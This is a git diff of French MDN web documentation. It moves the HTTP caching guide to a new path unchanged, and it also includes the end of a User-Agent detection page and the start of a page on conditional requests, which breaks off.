Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).

+ +

Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.

+ +

Mobile, tablette ou ordinateur

+ +

La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.

+ +
    +
  • Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.
    • +
  • N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).
    • +
+ +

Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User Agent des navigateurs courants
NavigateurRègleExemple
Mozilla (Gecko, Firefox)Chaîne Mobile ou Tablet dans le commentaireMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari)Chaîne Mobile Safari hors du commentaireMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Basé sur Blink (Chromium, Google Chrome, Opera 15+)Chaîne Mobile Safari token hors du commentaireMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Basé sur Presto (Opera 12-) +

Chaîne Opera Mobi/xyz dans le commentaire (Opera 12-)

+ 		+

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

+
Internet ExplorerChaîne IEMobile/xyz dans le commentaireMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
+ +

En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.

+ +

{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}

diff --git a/files/fr/web/http/cache/index.html b/files/fr/web/http/cache/index.html deleted file mode 100644 index d29e51d434..0000000000 --- a/files/fr/web/http/cache/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Mise en cache HTTP -slug: Web/HTTP/Cache -tags: - - Guide - - HTTP - - Le cache -translation_of: Web/HTTP/Caching ---- -
{{HTTPSidebar}}
- -

Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.

- -

Différents types de caches

- -

La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.

- -

Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un cache privé est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.

- -

Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.

- -

Caches de navigateur privés

- -

Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via HTTP par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.

- -

Caches de proxy partagés

- -

Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.

- -

Cibles des opérations de  cache

- -

La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :

- -
    -
  • Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.
    • -
  • Redirection permanente : une réponse {{HTTPStatus(301)}} (Moved Permanently).
    • -
  • Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} (Not Found).
    • -
  • Résultat incomplet : une réponse {{HTTPStatus(206)}} (Partial Content).
    • -
  • Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.
    • -
- -

Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} ci-dessous.

- -

Contrôle de la mise en cache

- -

L'en-tête Cache-control

- -

Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.

- -

Pas du tout de cache mémoire

- -

Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.

- -
Cache-Control: no-store
-Cache-Control: no-cache, no-store, must-revalidate
-
- -

Pas de cache

- -

Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.

- -
Cache-Control: no-cache
- -

Caches privées et publiques

- -

La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.

- -
Cache-Control: private
-Cache-Control: public
-
- -

Expiration

- -

La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.

- -

Pour plus de détails, voir aussi la section Freshness ci-dessous..

- -
Cache-Control: max-age=31536000
- -

Validation

- -

Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section Validation ci-dessous.

- -
Cache-Control: must-revalidate
- -

L'en-têtePragma

- -

{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.

- -

Fraîcheur (Freshness)

- -

Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("cache eviction"). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (stale). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.

- -

Ici un exemple de ce processus avec un cache de proxy partagé :

- -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

- -

Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "Cache-control: max-age=N" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce Expires existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête Date moins la valeur de l'en-tête Last-modified divisée par 10.

- -

Le temps d'expiration s'organise comme ceci :

- -
expirationTime = responseTime + freshnessLifetime - currentAge
-
- -

Où responseTime est le moment auquel a été reçue la réponse selon le navigateur.

- -

Ressources revues et corrigées

- -

Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.

- -

Les développeurs Web ont inventé une technique que Steve Sounders a appelée revving[1]. Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.

- -

Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.

- -

- -

La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.

- -

Validation de cache

- -

La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "Cache-control: must-revalidate". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans Advanced->Cache . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.

- -

Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort (strong validator) soit un faible (weak validator).

- -

ETags

- -

L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "opaque-to-the-user agent"  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête ETag est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.

- -

L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  Last-Modified est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.

- -

Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} OK, ou bien retourner un statut {{HTTPStatus(304)}} Not Modified (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.

- -

Varier les réponses

- -

L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.

- -

Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  Vary il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête Vary ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.

- -

The Vary header leads cache to use more HTTP headers as key for the cache.

- -

Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  Vary: User-Agent, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (Cloaking) n'est à craindre.

- -
Vary: User-Agent
- -

Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.

- -

Voir aussi

- - diff --git a/files/fr/web/http/caching/index.html b/files/fr/web/http/caching/index.html new file mode 100644 index 0000000000..d29e51d434 --- /dev/null +++ b/files/fr/web/http/caching/index.html @@ -0,0 +1,154 @@ +--- +title: Mise en cache HTTP +slug: Web/HTTP/Cache +tags: + - Guide + - HTTP + - Le cache +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.

+ +

Différents types de caches

+ +

La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.

+ +

Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un cache privé est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.

+ +

Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.

+ +

Caches de navigateur privés

+ +

Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via HTTP par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.

+ +

Caches de proxy partagés

+ +

Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.

+ +

Cibles des opérations de  cache

+ +

La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :

+ +
    +
  • Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.
    • +
  • Redirection permanente : une réponse {{HTTPStatus(301)}} (Moved Permanently).
    • +
  • Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} (Not Found).
    • +
  • Résultat incomplet : une réponse {{HTTPStatus(206)}} (Partial Content).
    • +
  • Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.
    • +
+ +

Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} ci-dessous.

+ +

Contrôle de la mise en cache

+ +

L'en-tête Cache-control

+ +

Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.

+ +

Pas du tout de cache mémoire

+ +

Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.

+ +
Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Pas de cache

+ +

Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.

+ +
Cache-Control: no-cache
+ +

Caches privées et publiques

+ +

La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.

+ +
Cache-Control: private
+Cache-Control: public
+
+ +

Expiration

+ +

La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.

+ +

Pour plus de détails, voir aussi la section Freshness ci-dessous..

+ +
Cache-Control: max-age=31536000
+ +

Validation

+ +

Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section Validation ci-dessous.

+ +
Cache-Control: must-revalidate
+ +

L'en-têtePragma

+ +

{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.

+ +

Fraîcheur (Freshness)

+ +

Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("cache eviction"). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (stale). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.

+ +

Ici un exemple de ce processus avec un cache de proxy partagé :

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "Cache-control: max-age=N" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce Expires existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête Date moins la valeur de l'en-tête Last-modified divisée par 10.

+ +

Le temps d'expiration s'organise comme ceci :

+ +
expirationTime = responseTime + freshnessLifetime - currentAge
+
+ +

Où responseTime est le moment auquel a été reçue la réponse selon le navigateur.

+ +

Ressources revues et corrigées

+ +

Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.

+ +

Les développeurs Web ont inventé une technique que Steve Sounders a appelée revving[1]. Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.

+ +

Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.

+ +

+ +

La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.

+ +

Validation de cache

+ +

La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "Cache-control: must-revalidate". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans Advanced->Cache . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.

+ +

Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort (strong validator) soit un faible (weak validator).

+ +

ETags

+ +

L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "opaque-to-the-user agent"  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête ETag est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.

+ +

L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  Last-Modified est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.

+ +

Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} OK, ou bien retourner un statut {{HTTPStatus(304)}} Not Modified (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.

+ +

Varier les réponses

+ +

L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.

+ +

Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  Vary il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête Vary ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  Vary: User-Agent, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (Cloaking) n'est à craindre.

+ +
Vary: User-Agent
+ +

Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/conditional_requests/index.html b/files/fr/web/http/conditional_requests/index.html new file mode 100644 index 0000000000..922b07a2fd --- /dev/null +++ b/files/fr/web/http/conditional_requests/index.html @@ -0,0 +1,147 @@ +--- +title: 'HTTP : Requêtes conditionnelles' +slug: Web/HTTP/Requêtes_conditionnelles +tags: + - Guide + - HTTP + - Requêtes Conditionnelles +translation_of: Web/HTTP/Conditional_requests +--- +

{{HTTPSidebar}}

+ +

HTTP a un concept de requête conditionnelle où le résultat, et même le succés d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et mettre de côté un contrôle inutile pour vérifier l'intégrité d'un document, comme le sommaire d'un téléchargement, ou éviter de perdre des mises à jour quand on télécharge ou modifie un document sur le serveur.

+ +

Principes

+ +

Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique des en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.

+ +

Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :

+ +
    +
